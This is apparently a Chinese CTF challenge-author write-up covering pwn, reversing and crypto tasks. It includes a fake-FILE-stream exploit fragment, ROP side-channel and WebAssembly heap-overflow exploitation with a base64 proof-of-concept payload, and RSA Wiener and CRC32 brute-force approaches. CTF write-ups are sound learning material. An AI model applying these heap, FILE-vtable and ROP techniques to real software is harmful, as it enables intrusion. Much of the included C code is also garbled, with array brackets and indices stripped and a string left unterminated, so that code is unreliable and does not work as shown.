fake_stream = p64(flag)+p64(0)
fake_stream += p64(0)*2
fake_stream += p64(0)
fake_stream += p64(0x7fffffffffffffff)
fake_stream = fake_stream.ljust(0x38,'\x00')
fake_stream += p64(sh_addr)
fake_stream += p64(sh_addr)
fake_stream = fake_stream.ljust(0xc0,'\x00')
fake_stream += p64(0xffffffffffffffff)
fake_stream = fake_stream.ljust(0xd8,'\x00')
fake_stream += p64(vtable_addr)
fake_stream += p64(malloc_addr) #alloc
fake_stream += p64(system_addr) #hook free
p.sendline('0x30')
p.sendline('a'*14+p64(0x601090)+p64(0)+fake_stream)
p.interactive()
level3ar_u_ok 主要考察对ptrace的认识和rc6,rc4的识别
加密解密 真正的加密和解密过程很简单,就是一个标准的rc6,只要把函数中的那个int常量放到google里搜索一下就知道是rc6加密(这个函数的代码被rc4加密了,不不解密是看不到的)。
rc6加密和解密的代码见源码
程序流程 程序首先判断启动参数,如果argc为1,则以debugger身份启动,利用fork分出parent和child。parent作为真正的debugger,child利用execve来启动自身并以父进程的pid作为启动参数。
如果argc为2,说明是debuggee。程序利用puts打印plz_input_flag,但是write的syscall被ptrace hook了。puts的原始内容是乱码,需要debugger对其进行解密。
然后是利用scanf来接收flag。默认是允许输入%48s但是这里ptrace hook了read syscall,检测read syscall触发的次数(在程序开头利用setbuf将stdin和stdout的缓冲调整为0),从而使flag的真实最大长度为32。
接着是一段判断是否调试者为父进程的代码,没问题的话会调用fclose来关闭之前打开的文件。此处用ptrace hook了close syscall。但是在程序运行前也会调用close syscall。这里利用设置变量的方式,使得在第二次close的时候触发。
触发时执行的代码是利用rc4将两个函数解密,然后patch代码为0xcc使程序停在检测trace代码的下一行,在将其patch成jmp到data段的那段唯一可视的雷军ascii字符处,并将flag传递给rdx,接着继续执行。雷军那段ascii其实是代码。前面的52Mi!是xor eax, 0x21694d32,从而使后面的jne全部成立,R_是push rdx;pop rdi,从而将之前在rdx中的flag传递到rdi中。利用u_这个jne跳转跳过中间的非代码区,最后jmp到encrypt函数中。
encrypt函数就是调用rc6加密,将32位的flag分16位两次加密,最后和enc结果比较。
由于调用了很多的ptrace来实现smc和hook,纯动态分析应该不太可能实现,需要静态分析后patch程序才能使用动态分析。
完整程序见github,由于有smc部分,可能在不同机子上编译结果不正确,所以提供了一个测试用的binary。
ippatsu-nyuukon0x00 写在前面 设计思路:
应用层与驱动层通信,在驱动层加密由应用层发送过来的明文后比较flag,并输出结果
部分细节:
[*]驱动层的分发函数分为2部分,SEND和RECV; SEND:接受从应用层发来的明文并加密,其本体是DES
RECV:比较加密后的明文和加密flag
[*]驱动层接受的明文,实际上只有第一次加密结果是正确的
[*]DES后将不可视数据转为hex
[*]加密数据与加密flag比较前先异或同一个随机字节
0x01 wp 跟到分发函数的SEND, 定位加密算法
因为DES对称加密算法,所以从ida中抠出来,修改小部分并添加密文+key就可以跑解密脚本了
// desrypt_des.cpp #include <stdio.h>
#include <string.h>
#define maxn 0x8000 // 理论支持明文长度
//#define ENCODE 0,16,1 // 加密用的宏
#define DECODE 15,-1,-1 // 解密用的宏
// 明文初始置换
char msg_ch = {
58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17,9, 1, 59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7
};
// 密钥初始置换
char key_ch = {
57, 49, 41, 33, 25, 17,9,1, 58, 50, 42, 34, 26, 18,
10,2, 59, 51, 43, 35, 27, 19, 11,3, 60, 52, 44, 36,
63, 55, 47, 39, 31, 23, 15,7, 62, 54, 46, 38, 30, 22,
14,6, 61, 53, 45, 37, 29, 21, 13,5, 28, 20, 12,4
};
// 扩展置换
char msg_ex = {
32,1,2,3,4,5,4,5,6,7,8,9,
8,9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32,1
};
// 每轮密钥的位移
char key_mov = {
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
};
// 压缩置换
char key_cmprs = {
14, 17, 11, 24,1,5,3, 28, 15,6, 21, 10,
23, 19, 12,4, 26,8, 16,7, 27, 20, 13,2,
41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32
};
// S 盒置换
char s_box = {
// S1
14,4, 13,1,2, 15, 11,8,3, 10,6, 12,5,9,0,7,
0, 15,7,4, 14,2, 13,1, 10,6, 12, 11,9,5,3,8,
4,1, 14,8, 13,6,2, 11, 15, 12,9,7,3, 10,5,0,
15, 12,8,2,4,9,1,7,5, 11,3, 14, 10,0,6, 13,
// S2
15,1,8, 14,6, 11,3,4,9,7,2, 13, 12,0,5, 10,
3, 13,4,7, 15,2,8, 14, 12,0,1, 10,6,9, 11,5,
0, 14,7, 11, 10,4, 13,1,5,8, 12,6,9,3,2, 15,
13,8, 10,1,3, 15,4,2, 11,6,7, 12,0,5, 14,9,
// S3
10,0,9, 14,6,3, 15,5,1, 13, 12,7, 11,4,2,8,
13,7,0,9,3,4,6, 10,2,8,5, 14, 12, 11, 15,1,
13,6,4,9,8, 15,3,0, 11,1,2, 12,5, 10, 14,7,
1, 10, 13,0,6,9,8,7,4, 15, 14,3, 11,5,2, 12,
// S4
7, 13, 14,3,0,6,9, 10,1,2,8,5, 11, 12,4, 15,
13,8, 11,5,6, 15,0,3,4,7,2, 12,1, 10, 14,9,
10,6,9,0, 12, 11,7, 13, 15,1,3, 14,5,2,8,4,
3, 15,0,6, 10,1, 13,8,9,4,5, 11, 12,7,2, 14,
// S5
2, 12,4,1,7, 10, 11,6,8,5,3, 15, 13,0, 14,9,
14, 11,2, 12,4,7, 13,1,5,0, 15, 10,3,9,8,6,
4,2,1, 11, 10, 13,7,8, 15,9, 12,5,6,3,0, 14,
11,8, 12,7,1, 14,2, 13,6, 15,0,9, 10,4,5,3,
// S6
12,1, 10, 15,9,2,6,8,0, 13,3,4, 14,7,5, 11,
10, 15,4,2,7, 12,9,5,6,1, 13, 14,0, 11,3,8,
9, 14, 15,5,2,8, 12,3,7,0,4, 10,1, 13, 11,6,
4,3,2, 12,9,5, 15, 10, 11, 14,1,7,6,0,8, 13,
// S7
4, 11,2, 14, 15,0,8, 13,3, 12,9,7,5, 10,6,1,
13,0, 11,7,4,9,1, 10, 14,3,5, 12,2, 15,8,6,
1,4, 11, 13, 12,3,7, 14, 10, 15,6,8,0,5,9,2,
6, 11, 13,8,1,4, 10,7,9,5,0, 15, 14,2,3, 12,
// S8
13,2,8,4,6, 15, 11,1, 10,9,3, 14,5,0, 12,7,
1, 15, 13,8, 10,3,7,4, 12,5,6, 11,0, 14,9,2,
7, 11,4,1,9, 12, 14,2,0,6, 10, 13, 15,3,5,8,
2,1, 14,7,4, 10,8, 13, 15, 12,9,0,3,5,6, 11
};
// P 盒置换
char p_box = {
16, 7, 20, 21, 29, 12, 28, 17, 1,15, 23, 26, 5,18, 31, 10,
2,8, 24, 14, 32, 27, 3,9,19, 13, 30, 6,22, 11, 4,25
};
// 末置换
char last_ch = {
40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41,9, 49, 17, 57, 25
};
// hash 置换,将加密后的密文置换为可读明文
char hs_ch = "0123456789abcdef";
char sh_ch;
void init_trans() {
char i;
for (i = 0; i < 16; i++)
sh_ch] = i; // 完成hash转换的对应
}
char msg = "aed3899df15bd7babb99acf5ebb9f5cd8cd44a77c53263de46ef9f3d773fe908";
char res;
char msgb, msgbt, keyb;
char key = "deadbeef";
// 字符转成二进制
void ChToBit(char* dest, char* src, int length) {
int i, j;
char t;
for (i = 0; i < length; i++) {
for (j = 8, t = src; j > 0; j--) {
dest[(i << 3) + j] = t & 1; // 取字符末位
t >>= 1;
}
}
}
// 二进制转成字符
void BitToCh(char* dest, char* src, int length) {
int i;
for (i = 0; i < length << 3; i++) {
dest <<= 1;
dest |= src; // 添加到末位
}
dest = 0;
}
// 批置换,以offset为偏移,以count为长度
void BatchSet(char* dest, char* src, char* offset, int count) {
int i;
for (i = 0; i < count; i++)
dest = src];
}
// 得到16轮所需的密钥
void getKeys() {
char tk, bk;
char* ptk = tk;
int i, j;
for (i = 0; i < 8; i++)
key <<= 1; // 跳过奇偶校验位
ChToBit(bk, key, 8);
BatchSet(tk, bk, key_ch, 56);
for (i = 0; i < 16; i++) {
for (j = 0; j < key_mov; j++, ptk++) {
ptk = ptk;
ptk = ptk;
}
BatchSet(keyb, ptk, key_cmprs, 48);
}
}
// 将密文转换为真正的密文
void dropMsg(char* dest, char* src) {
int i;
for (i = 0; i < 16; i++) {
dest = (dest << 4) | sh_ch];
}
}
void DES(char* pmsg, int st, int cl, int step) {
int i, row, col;
char r, rt, s;
ChToBit(msgbt, pmsg, 8);
BatchSet(msgb, msgbt, msg_ch, 64); // 初始置换
for (; st != cl; st += step) {
memcpy(rt, msgb + 33, 32);
BatchSet(r, msgb + 32, msg_ex, 48); // 扩展置换
for (i = 1; i <= 48; i++)
r ^= keyb; // 异或操作
// s_box 代替
for (i = 0; i < 48; i += 6) {
row = col = 0;
row = r << 1 | r;
col = (r << 3) | (r << 2) | (r << 1) | r;
s = (s <<= 4) | s_box;
}
ChToBit(r, s, 4);
BatchSet(msgb + 32, r, p_box, 32); // p_box 置换
for (i = 1; i <= 32; i++)
msgb ^= msgb; // 异或
memcpy(msgb + 1, rt, 32);
}
memcpy(msgbt + 33, msgb + 1, 32);
memcpy(msgbt + 1, msgb + 33, 32);
BatchSet(msgb, msgbt, last_ch, 64); // 末置换
BitToCh(res, msgb, 8); // 转为原明文
}
int main(int arg, char* arv[]) {
init_trans();
char mode = 'd';
getKeys(); // 得到16轮要用到的密钥
int i;
printf("dec: ");
for (i = 0; msg; i += 16) {
dropMsg(res, msg + i); // 将密文转换为真正的密文
DES(res, DECODE); // 解密
printf("%s", res);
}
printf("\n");
return 0;
}
简单来说 只要把加密宏替换为解密宏即可。
flag:
hctf{Dr1v5r_M5ngM4n_2Oi7} ps: 附一张成功cm的截图
--END--
babystack 这题的名字叫babystack,程序中是一个直接的栈溢出。而且还自带一次任意地址读。
当然这题的难点也很简单,只有read,write,open,exit系统调用。之所以搞出这个题目是受defcon的mute那题的启发。mute那题是用shellcode来实现的侧信道攻击。所以我就想能否用rop来实现侧信道的攻击。
下面是我在libc里找到的一个可以用来侧信道攻击的ROP
.text:00000000000D72CE cmp cl, .text:00000000000D72D0 jz short loc_D7266
.text:00000000000D72D2 pop rbx
.text:00000000000D72D3 retn
在ret之后用一个read函数来block住代码。而比较成功之后则直接crash退出。使用这种方法来逐字节的比较flag。
当然,解法不止这一种。libc里还有很多种的rop可以用来进行侧信道攻击。可以看看选手们的解法.
poc见github
level4babyre 这个题目的难度其实处在第三层和第四层之间。当初把它放第四层其实有点犹豫,因为感觉会有老司机秒杀他。
这个题目说起来其实很简答,我写了一个蒙哥马利乘算法和一个大整数加减的库。熟悉密码学的大佬应该知道蒙哥马利乘运算的作用就是进行快速模幂运算,即RSA的核心算法。
有关蒙哥马利算法的文章网上其实有很多,我就不再赘述了。代码中只有e和n。将输入的flag转换成大数的形式,然后做en = pow(f,e,n)输出了大数en。这里用了一个非常大的e,使得可以用Wiener's attack来计算出d的值。然后用d即可解密出flag。
之所以认为他简单,是因为即使不知道蒙哥马利乘运算也能够猜出是RSA。首先是因为大整数加减以及乘运算,这些大整数运算还是很容易就可以分辨的。一旦分辨出这些运算,应该就能联想到RSA。第二个就是模幂运算化简式子。对于一个D=C**E%N的大数运算,可以采用下面的化简式子。
D=1 FOR i=n TO 0
D=D*D % N
IF E=1
D=D*C % N
RETURN D
能看出这个式子是模幂运算的化简式子,即使看不懂乘法函数是个什么鬼。应该也能猜到什么了。
rroopp 之所以写这个题目,只有一次在写实际栈溢出利用的时候碰到了这个情况。栈溢出是在链接库中,没有打开的可以leak用的文件描述符。而主程序就只有这么一点点代码。当时自己写rop的时候感觉挺有意思的,就拿出来写了这样一个题目(主程序是我直接patch当初那个程序来的,没有源码。可以猜猜是什么程序:)
当然launch.so就是我自己写的程序了。里面大致模拟了ipv4包解析的过程。当然也是一个直接的栈溢出。在最后合并包的时候并没有检查长度而是使用了一个固定长度的栈缓冲区。
当然虽然binary比较小,其实还是有挺多可以用的gadget的。这里还有一个很好玩的技巧,就是dlsym的handle可以指定为RTLD_DEFAULT和RTLD_NEXT来从已经加载的动态链接库中查找函数。所以无需指定handle的值可以可以调用libc中的函数的。
level5old driver 这个逆向题目其实也是一个算法题,很可惜没有人能做出来。写这个题目的初衷是我上学期上的数据压缩实验。这个算法期末占15分huaji.jpg
好吧,这个压缩算法其实就是jpeg压缩算法拉。当然和现在通用的jpg图片的压缩算法还是有点差别的,是最初最简单的那个版本。有关jpeg压缩算法的介绍其实挺多的。如果不是像我一样不习惯用MATLAB的话。其实用MATLAB解这东西其实是最快的。
当然jpeg压缩其实也有很多的特征可以查找的。包括DFT算法实现,包括量化用的标准量化表,包括最后做哈弗曼编码所用的哈弗曼表。其实都是非常明显的特征。最明显的就是jpeg压缩所使用的量化表了。抠出来一查就能发现。
decode.py就是我自己写的重建jpeg用的函数。当然如果发现重建的图像非常魔性也不要惊讶。是我压缩比率调整的太高的原因。反正能看到flag就可以了2333
online encryptor背景 这题由于放题的时候失误没把题开始就放上去,所以剩下的时间可能不够去做了。而且好像有被题目名误导到的人( 。回到题目,这题是一个披着web和crypt皮的pwn题。事实上,在之前刚看到wasm的时候我就有想能不能搞个pwn出来。然后这次也算是实现了自己的一些想法。
webassembly (以下简称wasm) 技术目前可以说并不完善,而且我也并不算是了解了整个系统的全貌,因此如果有理解不到位的地方请见谅,欢迎一起讨论。
事实上,在wasm技术提出之前就已经有类似技术出现了(asm.js),wasm和asm.js不同的是wasm创建了二进制文件格式(.wasm)和新的汇编语言。比如helloword的汇编看上去就是这样的(会lisp的同学看起来大概没啥鸭梨)
(module (type $FUNCSIG$ii (func (param i32) (result i32)))
(type $FUNCSIG$iii (func (param i32 i32) (result i32)))
(import "env" "iprintf" (func $iprintf (param i32 i32) (result i32)))
(table 0 anyfunc)
(memory $0 1)
(data (i32.const 16) "hello world!\00")
(export "memory" (memory $0))
(export "hello" (func $hello))
(export "test" (func $test))
(func $hello
(drop
(call $iprintf
(i32.const 16)
(i32.const 0)
)
)
)
(func $test (result i32)
(i32.const 16)
)
)
关于这些指令的具体意义可以去官方文档上看。这里就不多展开了。两者的目标相接近,都是为了能用c/c++语言写web(可以想象一下js那效率。。。),所以这题的wasm当然也是c写的。
然后怎么出成一个pwn呢,wasm存在函数栈,但这部分是有严格check的(可以类比下python的,其实js引擎负责解析wasm的部分也是个解释器),而且这个栈是对用户隐藏的,也就是搞栈这条路断了(至少我没想出来怎么搞这个栈),于是打算出一个关于堆的pwn。
这题本来想用emcc编译,但emcc编译出来的wasm和js复杂难懂。。。至少我觉得如果我用emcc编译出来那是99%没人做出来的。所以用了clang+binaryen+wabt 来生成wasm。接下来介绍几个必要的姿势:
1. memory layout wasm的memory默认是从0开始向下拓展,以10k为一个基本单位,当内存不够的时候可以通过grow指令增长,当然js层也有相应的接口可以调用。memory里面会有全局变量,当然你想放啥都可以,自己实现一个堆管理或者直接用glibc的那个堆管理都是可以的。同样,js层和c层都可以对其中的内存进行读写操作。
2. js层和c层的互相调用 js调用c层可以通过在c层定义好相应的函数,然后export,直接就能在js层调用,这里说一个参数问题。
wasm用的是32位,也就是参数和返回值都可以当作uint32_t,对于js来说这就是单纯的一个数字,但对于c来说如果你是char* ,那么它就是指向memory地址的一个char指针。如果是int,就是整形,这点就会有一个问题,就是你如果想在js传字符串到c那边,得对memory做操作,而不能直接把js的字符串当做参数传。
c层调用js也是类似的,在js那边预先定义好一系列函数然后放在同一个object里传进wasm的环境。再说一遍,这儿的参数和返回值也都得是uint32_t。
3. c层的限制 由于是用js做为环境而不是linux的环境,所以很大一部分的c库函数都无法使用,当然要用也可以,可以用js模拟出一个linux的环境(把syscall都自己用js实现一遍),可能有现成的,但为了保持题目简洁,我并没有引用glibc的函数。期待以后wasm能有自己的底层环境而不用去依赖js。
回到题目 这题是一个nodejs作为后端的在线加密器,在js层调用了wasm进行加解密操作。可以输入一个8字节的password和任意字节的data做加解密
加密为流加密,逻辑大概是这样的:
key = hash(hash(flag)^pass)^random;
其中hash函数是我自己实现的(乱写的),接受任意字节,返回16字节;flag为32字节,pass为8字节,random为16字节,通过js层的random获取。
output = random | enc(data, key);
enc函数内部会把key拆成4字节的4部分,利用 mt_rand 作为PRNG把data加密4次。
解密流程相同
但看这个加解密是拿不到flag的,因为flag在最开始就被hash了。所以这题就是pwn啦。
然后堆是自己实现的,其中
struct chunk { unsigned int>
unsigned int pre_size;
struct chunk* fd;
};
题外话,自己写过堆之后才发现这种结构是不可取的啊,具体的就是这个pre_size的field没法重利用了。反正不管,这里的pre_size和fd都不会重利用(偷懒); 不同size的堆块放在不同size区间(间隔0x10)的单链表里,但不会做align,
#define find_index(size) ((size/0x10) > 0x20 ? 0x1f : (size/0x10)) ; 用单链表实现了类似unlink一样的效果:
void unlink(struct chunk* current) { int index = find_index(current->size);
struct chunk* ite = bins;
if(ite != 0) {
while(ite->fd != 0) {
if(ite->fd == current) {
ite->fd = current->fd;
break;
}
ite = ite -> fd;
}
}
}
也可以做merge,具体源码在github上,可以看到,基本全程没啥check,一些glibc用不到的技巧都可以用了!
说了这么多,洞在哪呢??以下为wasm2wast 跑出来wast的一部分
(export "memory" (memory 0)) (import "env" "grow" (func (;0;) (type 1)))
(import "env" "read_data" (func (;1;) (type 1)))
(import "env" "read_file" (func (;2;) (type 2)))
(import "env" "read_pass" (func (;3;) (type 1)))
(import "env" "read_random" (func (;4;) (type 1)))
这些是内部函数同import 函数名之间的关系
(export "malloc" (func 5))
(export "unlink" (func 6))
(export "free" (func 7))
(export "Initialize" (func 8))
(export "ExtractU32" (func 9))
(export "hash" (func 10))
(export "mycrypt" (func 11))
(export "encrypt" (func 12))
(export "decrypt" (func 13))
(export "out_size" (func 14))
这些是内部函数与export 函数名之间的关系
来看看decrypt函数
(func (;13;) (type 0) (result i32)
(local i32 i32 i32 i32 i32 i32 i32)
i32.const 32
call 5
set_local 5
i32.const 1024
call 5
set_local 0
i32.const 8
call 5
set_local 1
i32.const 16
call 5
set_local 2
i32.const 2672
get_local 5
i32.const 32
call 2
drop
get_local 0
call 1
set_local 3
get_local 1
call 3
drop
i32.const 0
set_local 6
block;; label = @1
loop;; label = @2
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;)
get_local 2
get_local 6
i32.add
get_local 0
get_local 6
i32.add
i32.load8_u
i32.store8
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;)
end
end
get_local 5
i32.const 32
call 10
set_local 4
i32.const 0
set_local 6
block;; label = @1
loop;; label = @2
get_local 6
i32.const 8
i32.eq
br_if 1 (;@1;)
get_local 4
get_local 6
i32.add
tee_local 5
get_local 5
i32.load8_u
get_local 1
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;)
end
end
get_local 1
call 7
get_local 4
i32.const 16
call 10
set_local 1
get_local 4
call 7
i32.const 0
set_local 6
block;; label = @1
loop;; label = @2
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;)
get_local 1
get_local 6
i32.add
tee_local 5
get_local 5
i32.load8_u
get_local 2
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;)
end
end
get_local 2
call 7
get_local 1
get_local 0
i32.const 16
i32.add
get_local 3
call 5
tee_local 6
get_local 3
i32.const -16
i32.add
tee_local 2
call 11
i32.const 0
get_local 2
i32.store offset=2680
get_local 0
call 7
get_local 6)
看上去很长,把这个decrypt函数稍微翻译下:
看上去很长,把这个decrypt函数稍微翻译下: (func (;decrypt;) (type 0) (result i32)
(local i32 i32 i32 i32 i32 i32 i32)
i32.const 32
call malloc
set_local 5 // var_5 = malloc(32);
i32.const 1024
call malloc
set_local 0 // var_0 = malloc(1024);
i32.const 8
call malloc
set_local 1 // var_1 = malloc(8);
i32.const 16
call malloc
set_local 2 // var_2 = malloc(16);
i32.const 2672
get_local 5
i32.const 32
call read_file // readfile(21, var_5, 2672);
drop
get_local 0
call read_data
set_local 3 // var_3 = read_data(var_0);
get_local 1
call read_pass // read_pass(var_1);
drop
i32.const 0
set_local 6 // var_6 = 0;
block;; label = @1
loop;; label = @2 // while;
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;) // if(var_6 == 16) break;
get_local 2
get_local 6
i32.add //var_2 + var_6;
get_local 0
get_local 6
i32.add //var_0 + var_6;
i32.load8_u
i32.store8 // *(var_2 + var_6) = *(var_0+var_6);
get_local 6
i32.const 1
i32.add
set_local 6
br 0 (;@2;) // var_6 += 1;
end
end
get_local 5
i32.const 32
call hash
set_local 4 // var_4 = hash(var_5, 32);
i32.const 0
set_local 6 // var_6 = 0;
block;; label = @1
loop;; label = @2
get_local 6
i32.const 8
i32.eq
br_if 1 (;@1;) // if(var_6 == 8) break;
get_local 4
get_local 6
i32.add // var_4 + var_6;
tee_local 5 // var_5 = var_4 + var_6
get_local 5
i32.load8_u // *var_5;
get_local 1
get_local 6
i32.add // var_1 + var_6;
i32.load8_u // *(var_1 + var_6);
i32.xor
i32.store8 // *(var_4 + var_6) ^= *var_5;
get_local 6
i32.const 1
i32.add
set_local 6 // var_6 += 1;
br 0 (;@2;)
end
end
get_local 1
call free // free(var_!);
get_local 4
i32.const 16
call hash
set_local 1 // var_1 = hash(var_4, 16)
get_local 4
call free // free(var_4);
i32.const 0
set_local 6 // var_6 = 0;
block;; label = @1
loop;; label = @2
get_local 6
i32.const 16
i32.eq
br_if 1 (;@1;) // if(var_6 == 16) break;
get_local 1
get_local 6
i32.add
tee_local 5
get_local 5
i32.load8_u
get_local 2
get_local 6
i32.add
i32.load8_u
i32.xor
i32.store8 // 和之前一样(var_1 + var_6) ^= (var_2 + var_6);
get_local 6
i32.const 1
i32.add
set_local 6 // var_6 += 1;
br 0 (;@2;)
end
end
get_local 2
call free // free(var_2);
get_local 1 // var_1
get_local 0
i32.const 16
i32.add // var_0 + 16
get_local 3
call malloc // out = malloc(var_3);
tee_local 6
get_local 3
i32.const -16
i32.add // var_3 - 16
tee_local 2 // var2 = var_3 - 16
call mycrypt // mycrypt(var_1 ,var_0 + 16, out, var_3 - 16)
i32.const 0
get_local 2
i32.store offset=2680 // *(2680) = var_2;
get_local 0
call free // free(var_0);
get_local 6)
这样就翻译的差不多了,应该和我开始对加解密的描述差不多,可以发现,js层传入的data长度最长可以有0x1000个字节,但从decrypt函数可以看出data这只malloc了1024个字节,于是多出来的就造成了一个堆溢出,可以利用类似方式(手工)对其他函数包括malloc和free函数进行逆向,虽然工作会艰辛很多233。
接下来我们来看看如何利用,来看看开始的那几个malloc之后的layout
heapbase: flag key+32+12: data
data+1024+12: pass
pass+8+12: random
可以看到data下面就是pass和random,除了flag没有被free(这是我觉得强行出题的一点。。。),下面的pass和random都会在用完之后被free,那么就想想怎么把flag leak出来吧!
================================蛋疼的分割线=================================
=====接下来的部分可能对不了解堆内部的人很模糊,如果没看过源码或者自己逆过就别看了====
默认你已经知道这个堆和加解密部分的实现了。
可以想到的一个最简单的方式是让最后output指针malloc到flag前面,然后修改2680那个outsize到合适大小(如果大小超过了memory长度,不会反回结果)。问题是在于怎么实现,我们能做的:
[*]在程序开始的时候溢出data块,能拿到两个可控的即将被free的堆块
[*]最后修改outsize的时候只有一个操作就是free(data); 也就是得在free之后改掉2680那个size
做到这两点在glibc里应该是不可能的,但这个堆没有任何check。
做到这个的最关键的一点在merge的时候
void free(unsigned char* ptr) { struct chunk* current = to_chunk(ptr);
struct chunk* next = next_chunk(current);
if(!(current->size & 1)) {
struct chunk* pre = to_mem(current) - current->pre_size - 12;
pre->size += ((current->size&0xfffffffe) + 12);
// unlink pre
unlink(pre);
current = pre;
}
...
}
不会有任何的check,也就是我们能把当前的size加到prev块的size位上,但prev块的size位的位置是由当前堆块的pre_size位决定的,于是就能在前面任意位置加上当前size,只是这个size不能太大,不然在找当前块的下一块的时候会超出memory长度。
现在有任意写了,但有一个问题,要做到这点得把当前块的inuse位清0,而data块要改inuse位不容易。因为上面没有任何堆块,而且也不能拿两个能溢出的堆块中一个堆块改size,因为只能加上偶数的size,并不能改变size的inuse位。
没有堆块就自己创建堆块!free的时候会merge上面的堆块,然后merge之后的那个size我们是可控的,在free的最后,会清空下一块的inuse位然后设置pre_size
// link current to bins int index = find_index(current->size);
current->fd = bins;
bins = current;
// clear next chunk's inuse bit and set the pre_size
next = next_chunk(current);
next->size &= 0xfffffffe;
next->pre_size = current->size&0xfffffffe;
那么思路就出来了:
[*]覆盖pass堆块,使其merge完的结果在data上面,同时设置data块的size字段
[*]覆盖random堆块,设置data块的pre_size
[*]malloc output的结果会到key上面那段
[*]free data块的时候就能把size加到outsize,达到leak
然而实际操作中两个free的堆块在bins中的长度都会超过0x200然后分到最后一个链表,output会优先取random堆块free的那块。所以得把1,2的操作反一下。然后这题就解决了,可喜可贺(
ps:出题人没有源码大概也没法做出来
pps:写堆管理很有意思,出完题看着源码自己日自己写的题还日了一整天也很有意思
ppps:比赛完再逆一遍自己的题不容易,各位要打出题人的请手下留情orz
poc:
MTIzNDU2NzgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJD1AAD8AwAAAAAAAGFhYWFhYWFhXAQAAJgIAAAAAAAA 结果:
��n�&��A�t���oe��.^�����S�;c�d3�<���g�"�����X�� * ��?���vm
����F �|�D+��}u�e��bq����**!
�������!hctf{MaYb3_heAp_15_AlS0_HARD428}t��5678���12345678\
Extralevel1big_zip 由于github上有对6位的crc32的快速爆破脚本,故将文本分为5字节。其实只要将github上的代码稍稍改动就能快速破解5位的crc32了。
# -*- coding: utf-8 -*- import itertools
import binascii
import string
class crc32_reverse_class(object):
# the code is modified from https://github.com/theonlypwner/crc32/blob/master/crc32.py
def __init__(self, crc32, length, tbl=string.printable,
poly=0xEDB88320, accum=0):
self.char_set = set(map(ord, tbl))
self.crc32 = crc32
self.length = length
self.poly = poly
self.accum = accum
self.table = []
self.table_reverse = []
def init_tables(self, poly, reverse=True):
# build CRC32 table
for i in range(256):
for j in range(8):
if i & 1:
i >>= 1
i ^= poly
else:
i >>= 1
self.table.append(i)
assert len(self.table) == 256, "table is wrong>
# build reverse table
if reverse:
found_none = set()
found_multiple = set()
for i in range(256):
